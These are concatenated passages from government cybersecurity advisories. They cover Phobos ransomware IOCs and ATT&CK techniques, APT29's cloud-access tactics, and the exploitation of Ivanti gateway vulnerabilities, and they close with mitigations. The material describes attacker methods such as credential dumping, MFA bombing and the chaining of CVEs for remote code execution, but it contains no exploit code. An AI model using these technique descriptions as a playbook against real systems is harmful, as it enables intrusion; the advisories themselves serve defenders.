bill.gTeam@gmx[.]com

MatheusCosta0194@gmx[.]com

blair_lockyer@aol[.]com

mccreight.ellery@tutanota[.]com

CarlJohnson1948@gmx[.]com

megaport@tuta[.]io

cashonlycash@gmx[.]com

miadowson@tuta[.]io

chocolate_muffin@tutanota[.]com

MichaelWayne1973@tutanota[.]com

claredrinkall@aol[.]com

normanbaker1929@gmx[.]com

clausmeyer070@cock[.]li

nud_satanakia@keemail[.]me

colexpro@keemail[.]me

please@countermail[.]com

cox.barthel@aol[.]com

precorpman@onionmail[.]org

crashonlycash@gmx[.]com

recovery2021@inboxhub[.]net

everymoment@tuta[.]io

recovery2021@onionmail[.]org

expertbox@tuta[.]io

SamuelWhite1821@tutanota[.]com

fastway@tuta[.]io

SaraConor@gmx[.]com

fquatela@techie[.]com

secdatltd@gmx[.]com

fredmoneco@tutanota[.]com

skymix@tuta[.]io

getdata@gmx[.]com

sory@countermail[.]com

greenbookBTC@gmx[.]com

spacegroup@tuta[.]io

greenbookBTC@protonmail[.]com

stafordpalin@protonmail[.]com

helperfiles@gmx[.]com

starcomp@keemail[.]me

helpermail@onionmail[.]org

xdone@tutamail[.]com

helpfiles@onionmail[.]org

xgen@tuta[.]io

helpfiles102030@inboxhub[.]net

xspacegroup@protonmail[.]com

helpforyou@gmx[.]com

zgen@tuta[.]io

helpforyou@onionmail[.]org

zodiacx@tuta[.]io

Table 5: Observed Phobos Actor Telegram Username Telegram Username

@phobos_support

Table 6: Observed Phobos Actor Wickr Address Wickr Address

• Vickre me

Disclaimer: Organizations are encouraged to investigate the use of the IOCs in Table 7 for related signs of compromise prior to performing remediation actions.

Table 7: Phobos IOCs from September through December 2023 Associated IP Address File Type File Name SHA 256 Hash

194.165.16[.]4 (October 2023)

Win32.exe

Ahpdate.exe [13]

0000599cbc6e5b0633c5a6261c79e4d3d81005c77845c6b0679d854884a8e02f

45.9.74[.]14 (December 2023)

147.78.47[.]224 (December 2023)

Executable and Linkable Format (ELF) [14]

1570442295

(Trojan Linux Mirai)

7451be9b65b956ee667081e1141531514b1ec348e7081b5a9cd1308a98eec8f0

185.202.0[.]111 (September 2023)

Win32.exe [15]

cobaltstrike_shellcode[.]exe (C2 activity)

 

185.202.0[.]111 (December 2023)

.txt [16]

f1425cff3d28afe5245459afa6d7985081bc6a62f86dce64c63daeb2136d7d2c.bin (Trojan)

Disclaimer: Organizations are encouraged to investigate the use of the file hashes in Tables 8 and 9 for related signs of compromise prior to performing remediation actions.

Table 8: Phobos Actor File Hashes Observed in October 2023 Phobos Ransomware SHA 256 Malicious Trojan Executable File Hashes

518544e56e8ccee401ffa1b0a01a10ce23e49ec21ec441c6c7c3951b01c1b19c

9215550ce3b164972413a329ab697012e909d543e8ac05d9901095016dd3fc6c

482754d66d01aa3579f007c2b3c3d0591865eb60ba60b9c28c66fe6f4ac53c52

c0539fd02ca0184925a932a9e926c681dc9c81b5de4624250f2dd885ca5c4763

Table 9: Phobos Actor File Hashes from Open Source from November 2023 [17] Phobos Ransomware SHA 256 File Hashes

58626a9bfb48cd30acd0d95debcaefd188ae794e1e0072c5bde8adae9bccafa6

f3be35f8b8301e39dd3dffc9325553516a085c12dc15494a5e2fce73c77069ed

518544e56e8ccee401ffa1b0a01a10ce23e49ec21ec441c6c7c3951b01c1b19c

32a674b59c3f9a45efde48368b4de7e0e76c19e06b2f18afb6638d1a080b2eb3

2704e269fb5cf9a02070a0ea07d82dc9d87f2cb95e60cb71d6c6d38b01869f66

fc4b14250db7f66107820ecc56026e6be3e8e0eb2d428719156cf1c53ae139c6

a91491f45b851a07f91ba5a200967921bf796d38677786de51a4a8fe5ddeafd2

MITRE ATT&CK TECHNIQUES

See Table 10 through 22 for all threat actor tactics and techniques referenced in this advisory.

Table 10: Phobos Threat Actors ATT&CK Techniques for Enterprise – Reconnaissance Technique Title ID Use

Search Open Websites/Domains

T1593

Phobos actors perform open source research to find information about victims that can be used during targeting to create a victim profile.

Scanning IP Blocks

T1595.001

Phobos actors used IP scanning tools to include Angry IP Scanner to search for vulnerable RDP ports.

Phishing for Information

T1598

Phobos actors use phishing campaigns to social engineer information from users and gain access to vulnerable RDP ports.

Table 11: Phobos Threat Actors ATT&CK Techniques for Enterprise – Resource Development Technique Title ID Use

Establish Accounts

T1585

Phobos actors establish accounts to communicate.

Obtain Capabilities: Tool

T1588.002

Phobos actors used open source tools in their attack.

Table 12: Phobos Threat Actors ATT&CK Techniques for Enterprise – Initial Access Technique Title ID Use

Valid Accounts

T1078

Following successful RDP authentication, Phobos actors search for IP addresses and pair them with their associated computer to create a victim profile.

External Remote Services

T1133

Phobos actors may leverage external-facing remote services to initially access and/or persist within a network.

Phishing: Spearphishing Attachment

T1566.001

Phobos actors used a spoofed email attachment to execute attack.

Table 13: Phobos Threat Actors ATT&CK Techniques for Enterprise – Execution Technique Title ID Use

Windows Management Instrumentation

T1047

Phobos actors used Windows Management Instrumentation command-line utility (WMIC) to prevent victims from recovering files.

Windows Command Shell

T1059.003

Phobos actors can use the previous commands to perform commands with windows shell functions.

Native API

T1106

Phobos actors used open source tools to enumerate the active directory.

Malicious File

T1204.002

Phobos actors attached a malicious email attachment to deliver ransomware.

Table 14: Phobos Threat Actors ATT&CK Techniques for Enterprise – Persistence Technique Title ID Use

Registry Run Keys / Startup Folder

T1547.001

Phobos ransomware operates using the Exec.exe control mechanism and has been observed using Windows Startup folders and Run Registry Keys.

Table 15: Phobos Threat Actors ATT&CK Techniques for Enterprise – Privilege Escalation Technique Title ID Use

Privilege Escalation

TA0004

Phobos actors use run commands like 1saas.exe, or cmd.exe to deploy additional Phobos payloads with escalated privileges.

Portable Executable Injection

T1055.002

Phobos actors use Smokeloader to inject code into running processes to identify an entry point through enabling a VirtualAlloc or VirtualProtect process.

Asynchronous Procedure Call

T1055.004

During phase two of execution, Phobos ransomware sends a call back from an identified entry point.

Access Token Manipulation: Token Impersonation/Theft

T1134.001

Phobos actors can use Windows API functions to steal tokens.

Create Process with Token

T1134.002

Phobos actors used Windows API functions to steal tokens, bypass access controls and create new processes.

Table 16: Phobos Threat Actors ATT&CK Techniques for Enterprise – Defense Evasion Technique Title ID Use

Software Packing

T1027.002

Phobos actors deployed a portable executable (PE) to conceal code.

Embedded Payloads

T1027.009

Phobos actors embedded the ransomware as a hidden payload by using Smokeloader.

Deobfuscate/Decode Files or Information

T1140

During phase two of execution, Phobos actors’ malware stores and decrypts information.

System Binary Proxy Execution: Mshta

T1218.005

Phobos actors used Mshta to execute malicious files.

Impair Defenses

T1562

Phobos actors can use Universal Virus Sniffer, Process Hacker, and PowerTool to evade detection.

Disable or Modify System Firewall

T1562.004

Phobos ransomware has been observed bypassing organizational network defense protocols through modifying system firewall configurations.

Table 17: Phobos Threat Actors ATT&CK Techniques for Enterprise – Credential Access Technique Title ID Use

OS Credential Dumping: LSASS Memory

T1003.001

Phobos actors used Mimikatz to export credentials.

OS Credential Dumping: Cached Domain Credentials

T1003.005

Phobos actors use cached domain credentials to authenticate as the domain administrator in the event a domain controller is unavailable.

Brute Force

T1110

Phobos actors may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.

Credentials from Password Stores

T1555

Phobos actors may search for common password storage locations to obtain user credentials.

Credentials from Password Stores: Credentials from Web Browsers

T1555.003

Phobos actors use Nirsoft or Passview to export client credentials from web browsers.

Phobos actors search for stored credentials in browser clients once they gain initial network access.

Credentials from Password Stores: Password Managers

T1555.005

Phobos actors targeted victim’s databases for password management software.

Table 18: Phobos Threat Actors ATT&CK Techniques for Enterprise – Discovery Technique Title ID Use

Process Discovery

T1057

Phobos ransomware is able to run processes.

System Information Discovery

T1082

Phobos ransomware is able to enumerate connected storage devices.

File and Directory Discovery

T1083

Phobos ransomware can encrypt user files.

Domain Account

T1087.002

Phobos threat actor used Bloodhound and Sharphound to enumerate the active directory.

Table 19: Phobos Threat Actors ATT&CK Techniques for Enterprise – Collection Technique Title ID Use

Archive Collected Data

T1560

Phobos threat actors archive data as either a .rar or .zip file to be later exfiltrated.

Table 20: Phobos Threat Actors ATT&CK Techniques for Enterprise – Command and Control Technique Title ID Use

Data Obfuscation: Protocol Impersonation

T1001.003

Phobos actors used a stealth process to obfuscate C2 activity.

File Transfer Protocols

T1071.002

Phobos threat actors used WinSCP to connect the victim’s network to an FTP server.

Ingress Tool Transfer

T1105

Phobos ransomware extracts its final payload from the hashed file.

Remote Access Software

T1219

Phobos threat actors used remote access tools to establish a remote connection within victim’s network.

Table 21: Phobos Threat Actors ATT&CK Techniques for Enterprise – Exfiltration Technique Title ID Use

Exfiltration

TA0010

Phobos threat actors may use exfiltration techniques to steal data from your network.

Exfiltration Over Alternative Protocol

T1048

Phobos threat actors use software to export files to a cloud.

Exfiltration to Cloud Storage

T1567.002

Phobos threat actors use Mega.io to exfiltrate data to a cloud storage service rather than over their primary command and control channel.

Table 22: Phobos Threat Actors ATT&CK Techniques for Enterprise – Impact Technique Title ID Use

Data Encrypted for Impact

T1486

Phobos threat actors use the Phobos.exe command to encrypt data on all logical drives connected to the network.

Inhibit System Recovery

T1490

Phobos threat actors may delete or remove backups to include volume shadow copies from Windows environments to prevent victim data recovery response efforts.

Financial Theft

T1657

Phobos threat actor’s extort victims for financial gain.

MITIGATIONS

Secure by Design and Default Mitigations:

These mitigations apply to all critical infrastructure organizations and network defenders. The FBI, CISA, and MS-ISAC recommend that software manufacturers incorporate secure by design and default principles and tactics into their software development practices limiting the impact of ransomware techniques, thus, strengthening the secure posture for their customers.

For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.

The FBI, CISA, and MS-ISAC recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture against actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

• Secure remote access software by applying recommendations from the joint Guide to Securing Remote Access Software.
• Implement application controls to manage and control execution of software, including allowlisting remote access programs.
  • Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlist solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
• Implement log collection best practices and use intrusion detection systems to defend against threat actors manipulating firewall configurations through early detection [CPG 2.T].
  • Implement EDR solutions to disrupt threat actor memory allocation techniques.
• Strictly limit the use of RDP and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
  • Audit the network for systems using RDP.
  • Close unused RDP ports.
  • Enforce account lockouts after a specified number of attempts.
  • Apply phishing-resistant multifactor authentication (MFA).
  • Log RDP login attempts.
• Disable command-line and scripting activities and permissions [CPG 2.N].
• Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts [CPG 4.C].
• Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege (PoLP) [CPG 2.E].
• Reduce the threat of credential compromise via the following:
  • Place domain admin accounts in the protected users’ group to prevent caching of password hashes locally.
  • Refrain from storing plaintext credentials in scripts.
• Implement time-based access for accounts at the admin level and higher [CPG 2.A, 2.E].

In addition, the authoring authorities of this CSA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, and to reduce the impact and risk of compromise by ransomware or data extortion actors:

• Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, or the cloud).
• Maintain offline backups of data and regularly maintain backup and restoration (daily or weekly at minimum). By instituting this practice, an organization limits the severity of disruption to its business practices [CPG 2.R].
• Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with NIST's standards for developing and managing password policies.
  • Use longer passwords consisting of at least 15 characters and no more than 64 characters in length [CPG 2.B].
  • Store passwords in hashed format using industry-recognized password managers.
  • Add password user “salts” to shared login credentials.
  • Avoid reusing passwords [CPG 2.C].
  • Implement multiple failed login attempt account lockouts [CPG 2.G].
  • Disable password “hints.”
  • Refrain from requiring password changes more frequently than once per year.
    
    Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
  • Require administrator credentials to install software.
• Require phishing-resistant multifactor authentication (MFA) for all services to the extent possible, particularly for webmail, virtual private networks (VPNs), and accounts that access critical systems [CPG 2.H].
• Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement [CPG 2.F].
• Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic and activity, including lateral movement, on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host [CPG 3.A].
• Install, regularly update, and enable real time detection for antivirus software on all hosts.
• Disable unused ports and protocols [CPG 2.V].
• Consider adding an email banner to emails received from outside your organization [CPG 2.M].
• Disable hyperlinks in received emails.
• Ensure all backup data is encrypted, immutable (i.e., ensure backup data cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.K, 2.L, 2.R].

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, the FBI, CISA, and MS-ISAC recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The FBI, CISA, and MS-ISAC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Tables 4-16).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The FBI, CISA, and MS-ISAC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

• Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.
• Resource to mitigate a ransomware attack: CISA, NSA, FBI, and Multi-State Information Sharing and Analysis Center’s (MS-ISAC) Joint #StopRansomware Guide.
• SLTT organizations are encouraged to implement MS-ISAC’s Ransomware Defense-in-Depth guidance.

• No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment.
• CISA: Known Exploited Vulnerabilities Catalog
• CISA, MITRE: Best Practices for MITRE ATT&CK Mapping
• CISA: Decider Tool
• CISA: Cross-Sector Cybersecurity Performance Goals
• CISA: Secure by Design
• CISA: Implementing Phishing-Resistant MFA
• CISA: Guide to Securing Remote Access Software

REFERENCES

[1] Privacy Affairs: “Moral” 8Base Ransomware Targets 2 New Victims

[2] VMware: 8base ransomware: A Heavy Hitting Player

[3] Infosecurity Magazine: Phobos Ransomware Family Expands With New FAUST Variant

[4] The Record: Hospitals offline across Romania following ransomware attack on IT platform

[5] Comparitech: What is Phobos Ransomware & How to Protect Against It?

[6] Cisco Talos: Understanding the Phobos affiliate structure and activity

[7] Cisco Talos: A deep dive into Phobos ransomware, recently deployed by 8Base group

[8] Malwarebytes Labs: A deep dive into Phobos ransomware

[9] Any Run: Smokeloader

[10] Malpedia: Smokeloader

[11] Truesec: A case of the FAUST Ransomware

[12] VirusTotal: Phobos Domain #1

[13] VirusTotal: Phobos executable: Ahpdate.exe

[14] VirusTotal: Phobos GUI extension: ELF File

[15] VirusTotal: Phobos IP address: 185.202.0[.]111

[16] VirusTotal: Phobos GUI extension: Binary File

[17] Cisco Talos GitHub: IOCs/2023/11/deep-dive-into-phobos-ransomware.txt at main

REPORTING

The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom-note, communications with Phobos actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

Additional details requested include: a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host and network-based indicators.

The FBI and CISA do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to the FBI Internet Crime Complaint Center (IC3), a local FBI Field Office, or to CISA at report@cisa.gov or (888) 282-0870.

DISCLAIMER

The FBI does not conduct its investigative activities or base attribution solely on activities protected by the First Amendment. Your company has no obligation to respond or provide information back to the FBI in response to this engagement. If, after reviewing the information, your company decides to provide referral information to the FBI, it must do so in a manner consistent with federal law. The FBI does not request or expect your company to take any particular action regarding this information other than holding it in confidence due to its sensitive nature.

The information in this report is being provided “as is” for informational purposes only. The FBI and CISA not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise does not constitute or imply endorsement, recommendation, or favoring by CISA, the FBI, and the MS-ISAC.

ACKNOWLEDGEMENTS

The California Joint Regional Intelligence Center (JRIC, CA) and Israel National Cyber Directorate (INCD) contributed to this CSA.

VERSION HISTORY

February 29, 2024: Initial version.

How SVR-Attributed Actors are Adapting to the Move of Government and Corporations to Cloud Infrastructure OVERVIEW

This advisory details recent tactics, techniques, and procedures (TTPs) of the group commonly known as APT29, also known as Midnight Blizzard, the Dukes, or Cozy Bear.

The UK National Cyber Security Centre (NCSC) and international partners assess that APT29 is a cyber espionage group, almost certainly part of the SVR, an element of the Russian intelligence services. The US National Security Agency (NSA), the US Cybersecurity and Infrastructure Security Agency (CISA), the US Cyber National Mission Force (CNMF), the Federal Bureau of Investigation (FBI), Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC), the Canadian Centre for Cyber Security (CCCS), and New Zealand Government Communications Security Bureau (GCSB) agree with this attribution and the details provided in this advisory.

This advisory provides an overview of TTPs deployed by the actor to gain initial access into the cloud environment and includes advice to detect and mitigate this activity.

To download the PDF version of this report, click here.

PREVIOUS ACTOR ACTIVITY

The NCSC has previously detailed how Russian Foreign Intelligence Service (SVR) cyber actors have targeted governmental, think tank, healthcare, and energy targets for intelligence gain. It has now observed SVR actors expanding their targeting to include aviation, education, law enforcement, local and state councils, government financial departments, and military organizations.

SVR actors are also known for:

• The supply chain compromise of SolarWinds software.
• Activity that targeted organizations developing the COVID-19 vaccine.

EVOLVING TTPs

As organizations continue to modernize their systems and move to cloud-based infrastructure, the SVR has adapted to these changes in the operating environment.

They have to move beyond their traditional means of initial access, such as exploiting software vulnerabilities in an on-premises network, and instead target the cloud services themselves.

To access the majority of the victims’ cloud hosted network, actors must first successfully authenticate to the cloud provider. Denying initial access to the cloud environment can prohibit SVR from successfully compromising their target. In contrast, in an on-premises system, more of the network is typically exposed to threat actors.

Below describes in more detail how SVR actors are adapting to continue their cyber operations for intelligence gain. These TTPs have been observed in the last 12 months.

ACCESS VIA SERVICE AND DORMANT ACCOUNTS

Previous SVR campaigns reveal the actors have successfully used brute forcing [T1110] and password spraying to access service accounts. This type of account is typically used to run and manage applications and services. There is no human user behind them so they cannot be easily protected with multi-factor authentication (MFA), making these accounts more susceptible to a successful compromise. Service accounts are often also highly privileged depending on which applications and services they’re responsible for managing. Gaining access to these accounts provides threat actors with privileged initial access to a network, to launch further operations.

SVR campaigns have also targeted dormant accounts belonging to users who no longer work at a victim organization but whose accounts remain on the system [T1078.004].

Following an enforced password reset for all users during an incident, SVR actors have also been observed logging into inactive accounts and following instructions to reset the password. This has allowed the actor to regain access following incident response eviction activities.

CLOUD-BASED TOKEN AUTHENTICATION

Account access is typically authenticated by either username and password credentials or system-issued access tokens. The NCSC and partners have observed SVR actors using tokens to access their victims’ accounts, without needing a password [T1528].

The default validity time of system-issued tokens varies dependent on the system; however, cloud platforms should allow administrators to adjust the validity time as appropriate for their users. More information can be found on this in the mitigations section of this advisory.

ENROLLING NEW DEVICES TO THE CLOUD

On multiple occasions, the SVR have successfully bypassed password authentication on personal accounts using password spraying and credential reuse. SVR actors have also then bypassed MFA through a technique known as “MFA bombing” or “MFA fatigue,” in which the actors repeatedly push MFA requests to a victim’s device until the victim accepts the notification [T1621].

Once an actor has bypassed these systems to gain access to the cloud environment, SVR actors have been observed registering their own device as a new device on the cloud tenant [T1098.005]. If device validation rules are not set up, SVR actors can successfully register their own device and gain access to the network.

By configuring the network with device enrollment policies, there have been instances where these measures have defended against SVR actors and denied them access to the cloud tenant.

RESIDENTIAL PROXIES

As network-level defenses improve detection of suspicious activity, SVR actors have looked at other ways to stay covert on the internet. A TTP associated with this actor is the use of residential proxies [T1090.002]. Residential proxies typically make traffic appear to originate from IP addresses within internet service provider (ISP) ranges used for residential broadband customers and hide the true source. This can make it harder to distinguish malicious connections from typical users. This reduces the effectiveness of network defenses that use IP addresses as indicators of compromise, and so it is important to consider a variety of information sources such as application and host-based logging for detecting suspicious activity.

CONCLUSION

The SVR is a sophisticated actor capable of carrying out a global supply chain compromise such as the 2020 SolarWinds, however the guidance in this advisory shows that a strong baseline of cyber security fundamentals can help defend from such actors.

For organizations that have moved to cloud infrastructure, a first line of defense against an actor such as SVR should be to protect against SVR’s TTPs for initial access. By following the mitigations outlined in this advisory, organizations will be in a stronger position to defend against this threat.

Once the SVR gain initial access, the actor is capable of deploying highly sophisticated post compromise capabilities such as MagicWeb, as reported in 2022. Therefore, mitigating against the SVR’s initial access vectors is particularly important for network defenders.

CISA have also produced guidance through their Secure Cloud Business Applications (SCuBA) Project which is designed to protect assets stored in cloud environments.

Some of the TTPs listed in this report, such as residential proxies and exploitation of system accounts, are similar to those reported as recently as January 2024 by Microsoft.

MITRE ATT&CK®

This report has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.

Tactic ID Technique Procedure

Credential Access

T1110

Brute Force

The SVR use password spraying and brute forcing as an initial infection vector.

Initial Access

T1078.004

Valid Accounts: Cloud Accounts

The SVR use compromised credentials to gain access to accounts for cloud services, including system and dormant accounts.

Credential Access

T1528

Steal Application Access Token

The SVR use stolen access tokens to login to accounts without the need for passwords.

Credential Access

T1621

Multi-Factor Authentication Request Generation

The SVR repeatedly push MFA requests to a victim’s device until the victim accepts the notification, providing SVR access to the account.

Command and Control

T1090.002

Proxy: External Proxy

The SVR use open proxies in residential IP ranges to blend in with expected IP address pools in access logs.

Persistence

T1098.005

Account Manipulation: Device Registration

The SVR attempt to register their own device on the cloud tenant after acquiring access to accounts.

MITIGATION AND DETECTION

A number of mitigations will be useful in defending against the activity described in this advisory: 

• Use multi-factor authentication (/2-factor authentication/two-step verification) to reduce the impact of password compromises. See NCSC guidance: Multifactor Authentication for Online Services and Setting up 2-Step Verification (2SV).
• Accounts that cannot use 2SV should have strong, unique passwords. User and system accounts should be disabled when no longer required with a “joiners, movers, and leavers” process in place and regular reviews to identify and disable inactive/dormant accounts. See NCSC guidance: 10 Steps to Cyber Security.
• System and service accounts should implement the principle of least privilege, providing tightly scoped access to resources required for the service to function.
• Canary service accounts should be created which appear to be valid service accounts but are never used by legitimate services. Monitoring and alerting on the use of these account provides a high confidence signal that they are being used illegitimately and should be investigated urgently.
• Session lifetimes should be kept as short as practical to reduce the window of opportunity for an adversary to use stolen session tokens. This should be paired with a suitable authentication method that strikes a balance between regular user authentication and user experience.
• Ensure device enrollment policies are configured to only permit authorized devices to enroll. Use zero-touch enrollment where possible, or if self-enrollment is required then use a strong form of 2SV that is resistant to phishing and prompt bombing. Old devices should be prevented from (re)enrolling when no longer required. See NCSC guidance: Device Security Guidance.
• Consider a variety of information sources such as application events and host-based logs to help prevent, detect and investigate potential malicious behavior. Focus on the information sources and indicators of compromise that have a better rate of false positives. For example, looking for changes to user agent strings that could indicate session hijacking may be more effective than trying to identify connections from suspicious IP addresses. See NCSC guidance: Introduction to Logging for Security Purposes.

DISCLAIMER

This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times.

This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.

Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.

All material is UK Crown Copyright.

SUMMARY

The Cybersecurity and Infrastructure Security Agency (CISA) and the following partners (hereafter referred to as the authoring organizations) are releasing this joint Cybersecurity Advisory to warn that cyber threat actors are exploiting previously identified vulnerabilities in Ivanti Connect Secure and Ivanti Policy Secure gateways. CISA and authoring organizations appreciate the cooperation of Volexity, Ivanti, Mandiant and other industry partners in the development of this advisory and ongoing incident response activities. Authoring organizations:

• Federal Bureau of Investigation (FBI)
• Multi-State Information Sharing & Analysis Center (MS-ISAC)
• Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
• United Kingdom National Cyber Security Centre (NCSC-UK)
• Canadian Centre for Cyber Security (Cyber Centre), a part of the Communications Security Establishment
• New Zealand National Cyber Security Centre (NCSC-NZ)
• CERT-New Zealand (CERT NZ)

Of particular concern, the authoring organizations and industry partners have determined that cyber threat actors are able to deceive Ivanti’s internal and external Integrity Checker Tool (ICT), resulting in a failure to detect compromise.

Cyber threat actors are actively exploiting multiple previously identified vulnerabilities—CVE-2023-46805, CVE-2024-21887, and CVE-2024-21893—affecting Ivanti Connect Secure and Ivanti Policy Secure gateways. The vulnerabilities impact all supported versions (9.x and 22.x) and can be used in a chain of exploits to enable malicious cyber threat actors to bypass authentication, craft malicious requests, and execute arbitrary commands with elevated privileges.

During multiple incident response engagements associated with this activity, CISA identified that Ivanti’s internal and previous external ICT failed to detect compromise. In addition, CISA has conducted independent research in a lab environment validating that the Ivanti ICT is not sufficient to detect compromise and that a cyber threat actor may be able to gain root-level persistence despite issuing factory resets.

The authoring organizations encourage network defenders to (1) assume that user and service account credentials stored within the affected Ivanti VPN appliances are likely compromised, (2) hunt for malicious activity on their networks using the detection methods and indicators of compromise (IOCs) within this advisory, (3) run Ivanti’s most recent external ICT, and (4) apply available patching guidance provided by Ivanti as version updates become available. If a potential compromise is detected, organizations should collect and analyze logs and artifacts for malicious activity and apply the incident response recommendations within this advisory.

Based upon the authoring organizations’ observations during incident response activities and available industry reporting, as supplemented by CISA’s research findings, the authoring organizations recommend that the safest course of action for network defenders is to assume a sophisticated threat actor may deploy rootkit level persistence on a device that has been reset and lay dormant for an arbitrary amount of time. For example, as outlined in PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure), sophisticated actors may remain silent on compromised networks for long periods. The authoring organizations strongly urge all organizations to consider the significant risk of adversary access to, and persistence on, Ivanti Connect Secure and Ivanti Policy Secure gateways when determining whether to continue operating these devices in an enterprise environment.

Note: On February 9, 2024, CISA issued Emergency Directive (ED) 24-01: Mitigate Ivanti Connect Secure and Ivanti Policy Secure Vulnerabilities, which requires emergency action from Federal Civilian Executive Branch (FCEB) agencies to perform specific actions on affected products.

The Canadian Centre for Cyber Security also issued an alert, Ivanti Connect Secure and Ivanti Policy Secure gateways zero-day vulnerabilities, which provides periodic updates for IT professionals and managers affected by the Ivanti vulnerabilities.

Download the PDF version of this report:

AA24-060B Threat Actors Exploit Multiple Vulnerabilities in Ivanti Connect Secure and Policy Secure Gateways (PDF, 2.20 MB )

For a downloadable copy of IOCs, see:

AA24-060B STIX XML (XML, 70.12 KB ) AA24-060B STIX JSON (JSON, 53.65 KB ) TECHNICAL DETAILS

This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques in Appendix C for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Overview

On January 10, 2024, Volexity reported on two vulnerabilities in Ivanti Connect Secure and Ivanti Policy Secure gateways observed being chained to achieve unauthenticated remote code execution (RCE):[1]

• CVE 2023-46805
• CVE-2024-21887

Volexity first identified active exploitation in early December 2023, when they detected suspicious lateral movement [TA0008] on the network of one of their network security monitoring service customers. Volexity identified that threat actors exploited the vulnerabilities to implant web shells, including GLASSTOKEN and GIFTEDVISITOR, on internal and external-facing web servers [T1505.003]. Once successfully deployed, these web shells are used to execute commands on compromised devices.[1]

After Ivanti provided initial mitigation guidance in early January, threat actors developed a way to bypass those mitigations to deploy BUSHWALK, LIGHTWIRE, and CHAINLINE web shell variants.[2] Following the actors’ developments, Ivanti disclosed three additional vulnerabilities:

• CVE-2024-21893 is a server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) Ivanti Policy Secure (9.x, 22.x), and Ivanti Neurons for ZTA that allows an attacker to access restricted resources without authentication.
• CVE-2024-22024 is an XML vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x), Ivanti Policy Secure (9.x, 22.x), and ZTA gateways that allows an attacker to access restricted resources without authentication.
• CVE-2024-21888 is a privilege escalation vulnerability found in the web component of Ivanti Connect Secure and Ivanti Policy Secure. This vulnerability allows threat actors to gain elevated privileges to that of an administrator.

Observed Threat Actor Activity

CISA has responded to multiple incidents related to the above vulnerabilities in Ivanti Connect Secure and Policy Secure Gateways. In these incidents, actors exploited these CVEs for initial access to implant web shells and to harvest credentials stored on the devices. Post-compromise, the actors moved laterally into domain environments and have been observed leveraging tools that are native to the Ivanti appliances—such as freerdp, ssh, telnet, and nmap libraries—to expand their access to the domain environment. The result, in some cases, was a full domain compromise.

